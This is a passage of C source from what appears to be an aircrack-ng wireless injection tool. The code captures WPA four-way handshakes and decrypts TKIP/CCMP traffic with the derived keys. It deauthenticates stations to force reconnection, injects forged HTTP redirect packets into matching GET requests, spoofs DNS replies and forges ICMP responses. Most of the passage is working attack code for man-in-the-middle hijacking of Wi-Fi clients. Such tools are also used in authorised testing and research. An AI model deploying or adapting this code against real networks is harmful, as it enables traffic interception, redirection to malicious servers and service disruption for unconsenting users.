if (length % 2) chksum += buf[length - 1];
// Add the pseudo-header
chksum += *(ip_src++);
chksum += *ip_src;
chksum += *(ip_dst++);
chksum += *ip_dst;
chksum += htons(protocol);
chksum += htons(length);
while (chksum >> 16) chksum = (chksum & 0xFFFF) + (chksum >> 16);
// Return the one's complement of chksum
return ((uint16_t) (~chksum));
}
// This needs to be cleaned up so that we can do UDP/TCP in one function. Don't
// want to do that now and risk
// breaking UDP checksums right now
static uint16_t
calcsum_tcp(char * buf, size_t length, uint32_t src_addr, uint32_t dest_addr)
{
return calcsum_for_protocol(IPPROTO_TCP, buf, length, src_addr, dest_addr);
}
static uint16_t
calcsum_udp(char * buf, size_t length, uint32_t src_addr, uint32_t dest_addr)
{
return calcsum_for_protocol(IPPROTO_UDP, buf, length, src_addr, dest_addr);
}
static inline uint8_t * packet_get_sta_80211(uint8_t * pkt)
{
REQUIRE(pkt != NULL);
struct ieee80211_frame * p_res802 = (struct ieee80211_frame *) pkt;
// IF TODS
if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_TODS)
{
return ((uint8_t *) &p_res802->i_addr2);
}
// IF FROMDS
else if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
{
return ((uint8_t *) &p_res802->i_addr1);
}
return (NULL);
}
static inline uint8_t * packet_get_bssid_80211(uint8_t * pkt)
{
REQUIRE(pkt != NULL);
struct ieee80211_frame * p_res802 = (struct ieee80211_frame *) pkt;
// IF TODS
if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_TODS)
{
return ((uint8_t *) &p_res802->i_addr1);
}
// IF FROMDS
else if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
{
return ((uint8_t *) &p_res802->i_addr2);
}
return (NULL);
}
static void packet_turnaround_80211(uint8_t * pkt)
{
REQUIRE(pkt != NULL);
struct ieee80211_frame * p_res802 = (struct ieee80211_frame *) pkt;
uint8_t tmp_mac[IEEE80211_ADDR_LEN] = {0};
// IF TODS, flip to FROMDS
if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_TODS)
{
p_res802->i_fc[1] = p_res802->i_fc[1] & ~(char) IEEE80211_FC1_DIR_TODS;
p_res802->i_fc[1] = p_res802->i_fc[1] | IEEE80211_FC1_DIR_FROMDS;
}
// IF FROMDS, Flip to TODS
else if (p_res802->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
{
p_res802->i_fc[1] = p_res802->i_fc[1] & ~IEEE80211_FC1_DIR_FROMDS;
p_res802->i_fc[1] = p_res802->i_fc[1] | IEEE80211_FC1_DIR_TODS;
}
memcpy(tmp_mac, p_res802->i_addr1, IEEE80211_ADDR_LEN);
memcpy(p_res802->i_addr1, p_res802->i_addr2, IEEE80211_ADDR_LEN);
memcpy(p_res802->i_addr2, tmp_mac, IEEE80211_ADDR_LEN);
}
static void packet_turnaround_ip(struct ip_frame * p_resip)
{
REQUIRE(p_resip != NULL);
// Switch the IP source and destination addresses
uint32_t tmp_addr = p_resip->saddr;
p_resip->saddr = p_resip->daddr;
p_resip->daddr = tmp_addr;
p_resip->ttl = 63;
}
static void packet_turnaround_ip_udp(struct udp_hdr * p_resudp)
{
REQUIRE(p_resudp != NULL);
// Switch the UDP source and destination Ports
uint16_t tmp_port = p_resudp->sport;
p_resudp->sport = p_resudp->dport;
p_resudp->dport = tmp_port;
}
static void packet_turnaround_ip_tcp(struct tcp_hdr * p_restcp,
uint32_t next_seq_hint)
{
REQUIRE(p_restcp != NULL);
// Switch the TCP source and destination Ports
uint16_t tmp_port = p_restcp->sport;
p_restcp->sport = p_restcp->dport;
p_restcp->dport = tmp_port;
uint32_t tmp_num = p_restcp->seqnu;
p_restcp->seqnu = p_restcp->ack_seq;
p_restcp->ack_seq = tmp_num;
// Increment seq by the length of the data in the current packet
tmp_num = ntohl(p_restcp->ack_seq) + next_seq_hint;
p_restcp->ack_seq = htonl(tmp_num);
}
static uint16_t dns_name_end(uint8_t * buff, uint16_t maxlen)
{
REQUIRE(buff != NULL);
uint8_t * ptr = buff;
uint8_t count = 0;
uint16_t offset = 0;
while (offset < maxlen)
{
count = ptr[0] + 1;
offset += count;
ptr += count;
if (count == 1) break;
};
return (offset);
}
static int strip_ccmp_header(uint8_t * h80211, int caplen, unsigned char PN[6])
{
REQUIRE(h80211 != NULL);
int is_a4, z, is_qos;
is_a4 = (h80211[1] & 3) == 3;
is_qos = (h80211[0] & 0x8C) == 0x88;
z = 24 + 6 * is_a4;
z += 2 * is_qos;
// Insert CCMP header
PN[5] = h80211[z + 0];
PN[4] = h80211[z + 1];
PN[3] = h80211[z + 4];
PN[2] = h80211[z + 5];
PN[1] = h80211[z + 6];
PN[0] = h80211[z + 7];
memmove(h80211 + z, h80211 + z + 8, caplen - z);
// return new length, encrypt_ccmp() expects on encryption artifacts in
// frame,
// and states frame is encrypted in place resulting in extra 16 bytes?
return (caplen - 16);
}
static void
encrypt_data_packet(uint8_t * packet, int length, struct WPA_ST_info * sta_cur)
{
if ((NULL == sta_cur) || (!sta_cur->valid_ptk))
{
return;
}
else
{
// if the PTK is valid, try to decrypt
if (sta_cur->keyver == 1)
{
encrypt_tkip(packet, length, sta_cur->ptk);
}
else
{
// This will take the current packet that already
// has a ccmp header and strip it and return the PN
// This is required so that we comply with the
// encrypt_ccmp function in crypto.c
unsigned char PN[6] = {0};
length = strip_ccmp_header(packet, length, PN);
encrypt_ccmp(packet, length, sta_cur->ptk + 32, PN);
}
}
}
// Global packet buffer for use in building response packets
static uint8_t pkt[2048] = {0};
static void process_unencrypted_data_packet(uint8_t * packet,
uint32_t length,
uint32_t debug)
{
if (debug) hexDump("full", packet, length);
uint8_t * packet_start = packet;
int packet_start_length = length;
char extra_enc_length = 0;
struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
int size_80211hdr = sizeof(struct ieee80211_frame);
// Check to see if we have a QOS 802.11 frame
if (IEEE80211_FC0_SUBTYPE_QOS & wfrm->i_fc[0])
{
size_80211hdr = sizeof(struct ieee80211_qosframe);
// Here's an idea from a presentation out of NL, assign this packet
// a QOS priority that isn't used in order to not collide with
// sequence numbers from the real AP/STA
struct ieee80211_qosframe * wqfrm
= (struct ieee80211_qosframe *) packet;
wqfrm->i_qos[0] = 0x7;
}
// Increment the 802.11 sequence number
uint16_t * p_seq = (uint16_t *) &wfrm->i_seq;
uint16_t pkt_sent = (*p_seq) >> 4;
pkt_sent += 1;
packet[22] = (pkt_sent & 0x0000000F) << 4;
packet[23] = (pkt_sent & 0x00000FF0) >> 4;
// Skip over the 802.11 header
packet += size_80211hdr;
length -= size_80211hdr;
// If the protected bit is set, we decrypted this packet and passed it on
// here
// Calculate the correct offset to the start of the data
if (IEEE80211_FC1_WEP & wfrm->i_fc[1])
{
if (0 == (packet[3] & 0x20))
{
// this is a regular WEP IV field
extra_enc_length = 4;
}
else
{
// this is a Extended IV field
extra_enc_length = 8;
}
packet += (uintptr_t) extra_enc_length;
length -= extra_enc_length;
size_80211hdr += extra_enc_length;
}
struct llc_frame * p_llc = (struct llc_frame *) packet;
if (debug) hexDump("llc", p_llc, length);
packet += sizeof(struct llc_frame);
length -= sizeof(struct llc_frame);
// Sanity check...
// We should have a data packet. Check for LLC
if (p_llc->i_dsap == 0xAA && p_llc->i_ssap == 0xAA)
{
// If it's an EAPOL frame, let's capture the handshake
if (ETHTYPE_8021x == p_llc->i_ethtype)
{
struct dot1x_hdr * p_d1x = (struct dot1x_hdr *) packet;
struct radius_hdr * p_rhdr
= (struct radius_hdr *) (packet + sizeof(struct dot1x_hdr));
// Must be a key frame, and must be RSN (2) or WPA (254)
if ((DOT1X_ID_EAP_KEY != p_d1x->idtype)
|| (2 != p_rhdr->code && 254 != p_rhdr->code))
{
return;
}
// frame 1 of 4: Pairwise == 1, Install == 0, Ack == 1, MIC == 0,
// Secure == 0 */
if (1 == p_rhdr->key_type && 0 == p_rhdr->key_install
&& 1 == p_rhdr->key_ack && 0 == p_rhdr->key_mic)
{
/* set authenticator nonce */
memcpy(lopt.st_cur->anonce, p_rhdr->wpa_nonce, 32);
printf(COL_4WAYHS "------> #1, Captured anonce " COL_REST);
PRINTMAC(lopt.st_cur->stmac);
}
/* frame 2 of 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1,
* Secure == 0 */
/* frame 4 of 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1,
* Secure == 1 */
if (1 == p_rhdr->key_type && 0 == p_rhdr->key_install
&& 0 == p_rhdr->key_ack && 1 == p_rhdr->key_mic)
{
if (memcmp(p_rhdr->wpa_nonce, ZERO, 32) != 0)
{
/* set supplicant nonce */
memcpy(lopt.st_cur->snonce, p_rhdr->wpa_nonce, 32);
printf(COL_4WAYHS "------> #2, Captured snonce " COL_REST);
}
else
{
printf(COL_4WAYHS "------> #4, Captured " COL_REST);
}
PRINTMAC(lopt.st_cur->stmac);
lopt.st_cur->eapol_size
= ntohs(p_d1x->length) + 4; // 4 is sizeof radius header
if (length < lopt.st_cur->eapol_size
|| lopt.st_cur->eapol_size == 0 //-V560
|| lopt.st_cur->eapol_size > sizeof(lopt.st_cur->eapol))
{
// Ignore the packet trying to crash us.
printf("Caught a packet trying to crash us, sneaky "
"bastard!\n");
hexDump("Offending Packet:", packet, length);
lopt.st_cur->eapol_size = 0;
return;
}
// Save the MIC
memcpy(lopt.st_cur->keymic, p_rhdr->wpa_key_mic, 16);
// Save the whole EAPOL frame
memcpy(lopt.st_cur->eapol, p_d1x, lopt.st_cur->eapol_size);
// Clearing the MIC in the saves EAPOL frame
memset(lopt.st_cur->eapol + 81, 0, 16);
// copy the key descriptor version
lopt.st_cur->keyver = p_rhdr->key_ver;
}
/* frame 3 of 4: Pairwise == 1, Install == 1, Ack == 1, MIC == 1,
* Secure == 1 */
if (1 == p_rhdr->key_type && 1 == p_rhdr->key_install
&& 1 == p_rhdr->key_ack && 1 == p_rhdr->key_mic)
{
if (memcmp(p_rhdr->wpa_nonce, ZERO, 32) != 0)
{
/* set authenticator nonce (again) */
memcpy(lopt.st_cur->anonce, p_rhdr->wpa_nonce, 32);
printf(COL_4WAYHS "------> #3, Captured anonce " COL_REST);
PRINTMAC(lopt.st_cur->stmac);
}
// WARNING: Serious Code Reuse here!!!
lopt.st_cur->eapol_size
= ntohs(p_d1x->length) + 4; // 4 is sizeof radius header
if (length < lopt.st_cur->eapol_size
|| lopt.st_cur->eapol_size == 0 //-V560
|| lopt.st_cur->eapol_size > sizeof(lopt.st_cur->eapol))
{
// Ignore the packet trying to crash us.
printf("Caught a packet trying to crash us, sneaky "
"bastard!\n");
hexDump("Offending Packet:", packet, length);
lopt.st_cur->eapol_size = 0;
return;
}
// Save the MIC
memcpy(lopt.st_cur->keymic, p_rhdr->wpa_key_mic, 16);
// Save the whole EAPOL frame
memcpy(lopt.st_cur->eapol, p_d1x, lopt.st_cur->eapol_size);
// Clearing the MIC in the saves EAPOL frame
memset(lopt.st_cur->eapol + 81, 0, 16);
// copy the key descriptor version
lopt.st_cur->keyver = p_rhdr->key_ver;
}
memset(lopt.st_cur->ptk, 0, 80);
lopt.st_cur->valid_ptk = calc_ptk(lopt.st_cur, lopt.pmk);
if (1 == lopt.st_cur->valid_ptk)
{
hexDump(
COL_4WAYKEY "MIC" COL_4WAYKEYDATA, lopt.st_cur->keymic, 16);
hexDump(
COL_4WAYKEY "stmac" COL_4WAYKEYDATA, lopt.st_cur->stmac, 6);
hexDump(
COL_4WAYKEY "bssid" COL_4WAYKEYDATA, lopt.st_cur->bssid, 6);
hexDump(COL_4WAYKEY "anonce" COL_4WAYKEYDATA,
lopt.st_cur->anonce,
32);
hexDump(COL_4WAYKEY "snonce" COL_4WAYKEYDATA,
lopt.st_cur->snonce,
32);
hexDump(COL_4WAYKEY "keymic" COL_4WAYKEYDATA,
lopt.st_cur->keymic,
16);
hexDump(COL_4WAYKEY "epol" COL_4WAYKEYDATA,
lopt.st_cur->eapol,
lopt.st_cur->eapol_size);
printf(COL_BLUE "Valid key: ");
PRINTMAC(lopt.st_cur->stmac);
printf("\n" COL_REST);
}
return;
}
else if ((short) ETHTYPE_IP == p_llc->i_ethtype)
{
// We have an IP frame
int offset_ip = size_80211hdr + sizeof(struct llc_frame);
int offset_proto = offset_ip + sizeof(struct ip_frame);
struct ip_frame * p_ip = (struct ip_frame *) packet;
packet += sizeof(struct ip_frame);
length -= sizeof(struct ip_frame);
if ((short) PROTO_TCP == p_ip->protocol)
{
struct tcp_hdr * p_tcp = (struct tcp_hdr *) packet;
if (80 == ntohs(p_tcp->dport))
{
length += extra_enc_length;
// TCP header size = first 4bits * 32 / 8, same as first
// 4bits *4
uint32_t hdr_size = p_tcp->doff * 4;
uint8_t * p_http = packet + hdr_size;
uint32_t l_http = length - hdr_size;
// Find a GET
if ((1 == lopt.flag_http_hijack)
&& (p_http[0] == 0x47 && p_http[1] == 0x45
&& p_http[2] == 0x54))
{
int ret = fnmatch((const char *) lopt.p_hijack_str,
(const char *) p_http,
FNM_PERIOD);
if (0 == ret)
{
printf("This frame matched a term we are looking "
"for\n");
if (NULL != lopt.p_redir_url)
{
char * p_hit
= strstr((const char *) p_http,
(const char *) lopt.p_redir_url);
if (NULL != p_hit)
{
printf("Caught our own redirect, ignoring "
"this packet\n");
return;
}
else
{
printf("this is not a redirect to our "
"server\n");
}
}
}
else
{
printf("pattern %s, not in this packet\n",
lopt.p_hijack_str);
return;
}
memcpy(pkt, packet_start, packet_start_length);
struct tcp_hdr * p_restcp
= (struct tcp_hdr *) (pkt + offset_proto);
struct ip_frame * p_resip
= (struct ip_frame *) (pkt + offset_ip);
uint32_t res_length
= packet_start_length; // This only initially until
// we replace content
//-----------------------------------------------------------------------------
// Do some magic here... to create a frame to close the
// server connection
memcpy(tmpbuf, pkt, packet_start_length);
struct ip_frame * p_resip_ack
= (struct ip_frame *) (tmpbuf + offset_ip);
struct tcp_hdr * p_restcp_ack
= (struct tcp_hdr *) (tmpbuf + offset_proto);
res_length
= offset_proto + hdr_size
+ extra_enc_length; // have to account for MIC
p_resip_ack->id = htons(ntohs(p_resip_ack->id) + 1023);
p_resip_ack->tot_len
= htons(hdr_size + sizeof(struct ip_frame));
p_resip_ack->check = 0;
p_resip_ack->check = calcsum((void *) p_resip_ack,
sizeof(struct ip_frame));
// We could try some stuff with tcp reset
p_restcp_ack->rst = 1;
// Lets calculate the TCP checksum
p_restcp_ack->checksum = 0;
p_restcp_ack->checksum
= calcsum_tcp((void *) p_restcp_ack,
(hdr_size),
p_resip_ack->saddr,
p_resip_ack->daddr);
int tmpbuf_len = res_length;
// Going to send the packet later, after we send the
// redirect...
//-----------------------------------------------------------------------------
// The silly extra TCP options were messing with me,
// Packets with TCP options
// Weren't being accepted. Probably some silly offset
// miscalculation. But for
// Our purposes, just cut these out.
// So get those options out of there
int diff = hdr_size - sizeof(struct tcp_hdr);
if (0 != diff)
{
hdr_size = sizeof(struct tcp_hdr);
p_resip->tot_len
= htons(ntohs(p_resip->tot_len) - diff);
}
// Update the TCP header with the new size (if changed)
p_restcp->doff = hdr_size / 4;
// start manipulating the packet to turn it around back
// to the sender
packet_turnaround_80211(pkt);
packet_turnaround_ip(p_resip);
packet_turnaround_ip_tcp(p_restcp,
ntohs(p_resip->tot_len)
- sizeof(struct ip_frame)
- hdr_size);
// Pointer to the start of the http section
p_http = pkt + offset_proto + hdr_size;
l_http = strlen(lopt.p_redir_pkt_str);
// Copy the http frame we wish to send
memcpy(p_http, lopt.p_redir_pkt_str, l_http);
res_length
= offset_proto + hdr_size + l_http
+ extra_enc_length; // have to account for MIC
// Set checksum to zero before calculating...
p_resip->frag_off = 0x0000;
// Incrementing the ID by something, Could try to
// calculate this...
p_resip->id = htons(ntohs(p_resip->id) + 1025);
p_resip->tot_len = htons(l_http + hdr_size
+ sizeof(struct ip_frame));
p_resip->check = 0;
p_resip->check = calcsum((void *) p_resip,
sizeof(struct ip_frame));
// Lets calculate the TCP checksum
p_restcp->checksum = 0;
p_restcp->checksum = calcsum_tcp((void *) p_restcp,
(hdr_size + l_http),
p_resip->saddr,
p_resip->daddr);
if (IEEE80211_FC1_WEP & wfrm->i_fc[1])
{
if (lopt.st_cur->keyver == 1)
{
res_length += 4;
}
encrypt_data_packet(pkt, res_length, lopt.st_cur);
encrypt_data_packet(
tmpbuf, tmpbuf_len, lopt.st_cur);
}
printf(COL_HTTPINJECT "---> Injecting Redirect Packet "
"to: " COL_HTTPINJECTDATA);
PRINTMAC(lopt.st_cur->stmac);
printf(COL_REST);
if (send_packet(_wi_out,
pkt,
res_length,
kRewriteSequenceNumber)
!= 0)
printf("Error Sending Packet\n");
printf("\n");
// Uncomment to send RST packet to the server
// if (send_packet(_wi_out, tmpbuf, tmpbuf_len, kRewriteSequenceNumber) != 0)
// printf("ERROR: couldn't send Ack\n");
return;
}
}
}
else if ((short) PROTO_UDP == p_ip->protocol && lopt.flag_dnsspoof)
{
struct udp_hdr * p_udp = (struct udp_hdr *) packet;
// DNS packet
if (53 == ntohs(p_udp->dport))
{
hexDump("DNS", (void *) packet, length);
memcpy(pkt, packet_start, packet_start_length);
packet_turnaround_80211(pkt);
packet_turnaround_ip((struct ip_frame *) (pkt + offset_ip));
packet_turnaround_ip_udp(
(struct udp_hdr *) (pkt + offset_proto));
struct udp_hdr * p_resudp
= (struct udp_hdr *) (pkt + offset_proto);
int dns_offset = offset_proto + sizeof(struct udp_hdr);
uint8_t * p_dns = packet_start + dns_offset;
uint8_t * p_resdns = pkt + dns_offset;
// Copy the beginning part of the packet
memcpy(p_resdns, DNS_RESP_PCKT_1, sizeof(DNS_RESP_PCKT_1));
struct dns_query * p_dnsq = (struct dns_query *) p_dns;
int dns_qlen = dns_name_end((uint8_t *) &p_dnsq->qdata,
packet_start_length);
// Copy the request DNS name into the response
memcpy(p_resdns + sizeof(DNS_RESP_PCKT_1) - 1,
(void *) &p_dnsq->qdata,
dns_qlen);
// Copy the rest of the DNS packet
memcpy(p_resdns + sizeof(DNS_RESP_PCKT_1) - 1 + dns_qlen,
DNS_RESP_PCKT_2,
sizeof(DNS_RESP_PCKT_2));
// Calculate the new resp length
int dns_resplen = sizeof(DNS_RESP_PCKT_1) - 1 + dns_qlen
+ sizeof(DNS_RESP_PCKT_2);
struct sockaddr_in s_in;
inet_pton(AF_INET, "127.0.0.1", &s_in); // Website will work
memcpy(p_resdns + dns_resplen - 5, &s_in, 4);
// copy the Transaction ID
p_resdns[0] = p_dns[0];
p_resdns[1] = p_dns[1];
struct ip_frame * p_resip
= (struct ip_frame *) (pkt + offset_ip);
p_resip->tot_len
= htons(dns_resplen + sizeof(struct udp_hdr)
+ sizeof(struct ip_frame));
// Set checksum to zero before calculating...
p_resip->check = 0;
p_resip->check
= calcsum((void *) p_resip, sizeof(struct ip_frame));
p_resudp->len = htons(dns_resplen + sizeof(struct udp_hdr));
p_resudp->checksum = 0;
p_resudp->checksum = calcsum_udp((void *) p_resudp,
ntohs(p_resudp->len),
p_resip->saddr,
p_resip->daddr);
hexDump("sending DNS Response:", pkt, packet_start_length);
packet_start_length = dns_offset + dns_resplen;
if (IEEE80211_FC1_WEP & wfrm->i_fc[1])
{
if (lopt.st_cur->keyver == 1)
{
packet_start_length += 4;
}
packet_start_length += extra_enc_length;
encrypt_data_packet(
pkt, packet_start_length, lopt.st_cur);
}
if (send_packet(_wi_out,
pkt,
(size_t) packet_start_length,
kRewriteSequenceNumber)
!= 0)
printf("Error Sending Packet\n");
return;
}
}
else if ((1 == lopt.flag_icmp_resp)
&& (short) PROTO_ICMP == p_ip->protocol)
{
struct icmp * p_icmp = (struct icmp *) packet;
if (p_icmp->icmp_type == 8)
{
printf("ICMP Request Caught, %d, %d\n",
p_icmp->icmp_id,
p_icmp->icmp_seq);
// copy the original Packet to our response packet buffer
memcpy(pkt, packet_start, packet_start_length);
packet_turnaround_80211(pkt);
packet_turnaround_ip((struct ip_frame *) (pkt + offset_ip));
// Point to the IP frame
struct ip_frame * p_resip
= (struct ip_frame *) (pkt + offset_ip);
// Set checksum to zero before calculating checksum...
p_resip->check = 0;
p_resip->check
= calcsum((void *) p_resip, sizeof(struct ip_frame));
struct icmp * p_resicmp
= (struct icmp *) (pkt + size_80211hdr
+ sizeof(struct llc_frame)
+ sizeof(struct ip_frame));
// Set the ICMP type as response
p_resicmp->icmp_type = 0;
// Calculate how much data there is to calculate checksum
// over
int icmp_length
= packet_start_length
- (size_80211hdr + sizeof(struct llc_frame)
+ sizeof(struct ip_frame))
- extra_enc_length; // Don't forget extra MIC at the
// end of the frame
if (lopt.st_cur->keyver == 1)
{
icmp_length -= 4;
}
p_resicmp->icmp_cksum = 0;
p_resicmp->icmp_cksum
= calcsum((void *) p_resicmp, icmp_length);
if (IEEE80211_FC1_WEP & wfrm->i_fc[1])
{
encrypt_data_packet(
pkt, packet_start_length, lopt.st_cur);
}
printf("Sending ICMP response\n");
if (send_packet(_wi_out,
pkt,
(size_t) packet_start_length,
kRewriteSequenceNumber)
!= 0)
printf("Error Sending Packet\n");
return;
}
}
}
}
}
static bool is_adhoc_frame(uint8_t * packet)
{
uint8_t * p_stmac = packet_get_sta_80211(packet);
if (NULL == p_stmac)
{
return (TRUE);
}
else
{
return (FALSE);
}
}
static bool find_station_in_db(uint8_t * p_stmac)
{
lopt.st_prv = NULL;
lopt.st_cur = lopt.st_1st;
while (lopt.st_cur != NULL)
{
if (!memcmp(lopt.st_cur->stmac, p_stmac, 6)) break;
lopt.st_prv = lopt.st_cur;
lopt.st_cur = lopt.st_cur->next;
}
if (NULL == lopt.st_cur)
// If not found, opt.st_cur == NULL
return (FALSE);
else
// If found, opt.st_cur == p_stmac
return (TRUE);
}
static bool alloc_new_station_in_db(void)
{
lopt.st_cur = (struct WPA_ST_info *) malloc(sizeof(struct WPA_ST_info));
if (NULL == lopt.st_cur)
{
perror("station malloc failed");
return (FALSE);
}
// Zero out memory of newly allocated structure
memset(lopt.st_cur, 0, sizeof(struct WPA_ST_info));
return (TRUE);
}
static inline bool is_wfrm_encrypted(struct ieee80211_frame * wfrm)
{
REQUIRE(wfrm != NULL);
return (wfrm->i_fc[1] & IEEE80211_FC1_WEP);
}
static inline bool is_length_lt_wfrm(int length)
{
return ((int) sizeof(struct ieee80211_frame) >= length);
}
static inline bool mac_is_multi_broadcast(unsigned char stmac[6])
{
if ((0xFF == stmac[0]) && (0xFF == stmac[1])) return (TRUE);
if ((0x33 == stmac[0]) && (0x33 == stmac[1])) return (TRUE);
return (FALSE);
}
static void process_station_data(uint8_t * packet, int length)
{
if (is_length_lt_wfrm(length)) return;
struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
uint8_t * p_stmac = packet_get_sta_80211(packet);
ALLEGE(p_stmac != NULL);
uint8_t * p_bssid = packet_get_bssid_80211(packet);
ALLEGE(p_bssid != NULL);
if (!find_station_in_db(p_stmac))
{
if (FALSE == alloc_new_station_in_db())
{
return;
}
if (lopt.st_1st == NULL)
lopt.st_1st = lopt.st_cur;
else
lopt.st_prv->next = lopt.st_cur;
memcpy(lopt.st_cur->stmac, p_stmac, 6);
memcpy(lopt.st_cur->bssid, p_bssid, 6);
if (TRUE == lopt.flag_verbose)
{
printf(COL_NEWSTA "Added new station\n" COL_NEWSTADATA);
printf("Station = ");
PRINTMAC(p_stmac);
printf("BSSID = ");
PRINTMAC(lopt.st_cur->bssid);
printf(COL_REST);
// Attempt to force a de-auth and reconnect automagically ;)
}
if ((is_wfrm_encrypted(wfrm)) && (TRUE == lopt.deauth))
{
// This frame was encrypted, so send some deauths to the station
// Hoping to reauth/reassoc to force 4 way handshake
if (FALSE == mac_is_multi_broadcast(lopt.st_cur->stmac))
{
printf("Doing deauth\n");
deauth_station(lopt.st_cur);
printf("\nFinished Deauth Attempt\n");
}
}
}
}
static inline bool wfrm_is_tods(struct ieee80211_frame * wfrm)
{
REQUIRE(wfrm != NULL);
return (wfrm->i_fc[1] & IEEE80211_FC1_DIR_TODS);
}
static inline bool wfrm_is_fromds(struct ieee80211_frame * wfrm)
{
REQUIRE(wfrm != NULL);
return (wfrm->i_fc[1] & IEEE80211_FC1_DIR_FROMDS);
}
static inline bool is_wfrm_qos(struct ieee80211_frame * wfrm)
{
REQUIRE(wfrm != NULL);
return (IEEE80211_FC0_SUBTYPE_QOS & wfrm->i_fc[0]);
}
static bool is_wfrm_already_processed(uint8_t * packet, int length)
{
struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
// check if we haven't already processed this packet
// If we have, just return, don't process packet twice
uint32_t crc = calc_crc_buf(packet, length);
// IF TODS
if (wfrm_is_tods(wfrm))
{
if (crc == lopt.st_cur->t_crc)
{
return (TRUE);
}
lopt.st_cur->t_crc = crc;
}
// IF FROMDS
else if (wfrm_is_fromds(wfrm))
{
if (crc == lopt.st_cur->f_crc)
{
return (TRUE);
}
lopt.st_cur->f_crc = crc;
}
// this frame hasn't been processed yet
return (FALSE);
}
static struct llc_frame * find_llc_frm_ptr(uint8_t * packet, int length)
{
if (is_length_lt_wfrm(length)) return (NULL);
int size_80211hdr = sizeof(struct ieee80211_frame);
if (is_wfrm_qos((struct ieee80211_frame *) packet))
{
size_80211hdr = sizeof(struct ieee80211_qosframe);
}
struct llc_frame * p_llc = (struct llc_frame *) (packet + size_80211hdr);
return (p_llc);
}
static void process_wireless_data_packet(uint8_t * packet, int length)
{
uint8_t * packet_start = packet;
int packet_start_length = length;
struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
if (is_adhoc_frame(packet))
{
return;
}
// process station,
// if it exists, opt.st_cur will point to it
// if it doesn't exist, it will create an entry
// with opt.st_cur pointing to it
process_station_data(packet, length);
if (is_wfrm_already_processed(packet, length))
{
return;
}
struct llc_frame * p_llc = find_llc_frm_ptr(packet, length);
if (NULL == p_llc)
{
return;
}
// Check to see if this is an encrypted frame
if (0xAA != p_llc->i_dsap && 0xAA != p_llc->i_ssap)
{
// OK so it's not valid LLC, lets check WEP
struct wep_frame * p_wep = (struct wep_frame *) packet;
// check the extended IV flag
// I copied from airdecap-ng, not actually sure about WEP and don't care
// at this point
if ((wfrm->i_fc[1] & IEEE80211_FC1_WEP) && (0 != (p_wep->keyid & 0x20)))
{
// Unsupported ;)
printf("unsupported encryption\n");
return;
}
else
{
if (opt.crypt != CRYPT_WPA)
{
return;
}
// Apparently this is a WPA packet
// Don't bother with this if we don't have a valid ptk for this
// station
if ((NULL == lopt.st_cur) || (!lopt.st_cur->valid_ptk))
{
return;
}
else
{
// if the PTK is valid, try to decrypt
if (lopt.st_cur->keyver == 1)
{
if (decrypt_tkip(packet_start,
packet_start_length,
lopt.st_cur->ptk + 32)
== 0)
{
printf("TKIP decryption on this packet failed :( \n");
return;
}
}
else
{
if (decrypt_ccmp(packet_start,
packet_start_length,
lopt.st_cur->ptk + 32)
== 0)
{
printf("CCMP decryption on this packet failed :( \n");
hexDump("failed to decrypt",
packet_start,
packet_start_length);
return;
}
}
process_unencrypted_data_packet(
packet_start, packet_start_length, 0);
return;
}
}
}
else if (0xAA == p_llc->i_dsap && 0xAA == p_llc->i_ssap)
{
process_unencrypted_data_packet(packet_start, packet_start_length, 0);
}
}
static void process_wireless_packet(uint8_t * packet, int length)
{
REQUIRE(packet != NULL);
struct ieee80211_frame * wfrm = (struct ieee80211_frame *) packet;
short fc = *wfrm->i_fc;
if ((IEEE80211_FC0_TYPE_DATA & fc))
{
process_wireless_data_packet(packet, length);
}
}
static int do_active_injection(void)
{
struct timeval tv;
fd_set rfds;
int caplen, ret;
memset(tmpbuf, 0, 4096);
printf("opt.port_out = %d, opt.s_face = %s\n", opt.port_out, opt.s_face);
if (opt.port_out > 0)
{
PCT;
printf("Testing connection to injection device %s\n", opt.iface_out);
ret = tcp_test(opt.ip_out, opt.port_out);
if (ret != 0)
{
return (1);
}
printf("\n");
/* open the replay interface */
_wi_out = wi_open(opt.iface_out);
if (!_wi_out) return (1);
printf("\n");
dev.fd_out = wi_fd(_wi_out);
wi_get_mac(_wi_out, dev.mac_out);
if (opt.s_face == NULL)
{
_wi_in = _wi_out;
dev.fd_in = dev.fd_out;
/* XXX */
dev.arptype_in = dev.arptype_out;
wi_get_mac(_wi_in, dev.mac_in);
}
}
if (opt.s_face && opt.port_in > 0)
{
PCT;
printf("Testing connection to capture device %s\n", opt.s_face);
ret = tcp_test(opt.ip_in, opt.port_in);
if (ret != 0)
{
return (1);
}
printf("\n");
/* open the packet source */
_wi_in = wi_open(opt.s_face);
if (!_wi_in) return (1);
dev.fd_in = wi_fd(_wi_in);
wi_get_mac(_wi_in, dev.mac_in);
printf("\n");
}
else if (opt.s_face && opt.port_in <= 0)
{
/* open the replay interface */
_wi_out = wi_open(opt.iface_out);
if (!_wi_out) return (1);
printf("\n");
dev.fd_out = wi_fd(_wi_out);
wi_get_mac(_wi_out, dev.mac_out);
_wi_in = wi_open(opt.s_face);
if (!_wi_in) return (1);
dev.fd_in = wi_fd(_wi_in);
wi_get_mac(_wi_in, dev.mac_in);
printf("s_face, port_in\n");
}
if (opt.port_in <= 0)
{
/* avoid blocking on reading the socket */
if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
{
perror("fcntl(O_NONBLOCK) failed");
return (1);
}
}
if (getnet(_wi_in,
NULL,
0,
0,
opt.f_bssid,
opt.r_bssid,
(uint8_t *) opt.r_essid,
opt.ignore_negative_one,
0 /* nodetect */)
!= 0)
return (EXIT_FAILURE);
rand_init();
// Set our bitrate to the loudest/most likely to reach the station/AP...
set_bitrate(_wi_out, RATE_1M);
// main Loop
while (1)
{
FD_ZERO(&rfds);
FD_SET(dev.fd_in, &rfds);
tv.tv_sec = 0;
tv.tv_usec = 1000; // one millisecond
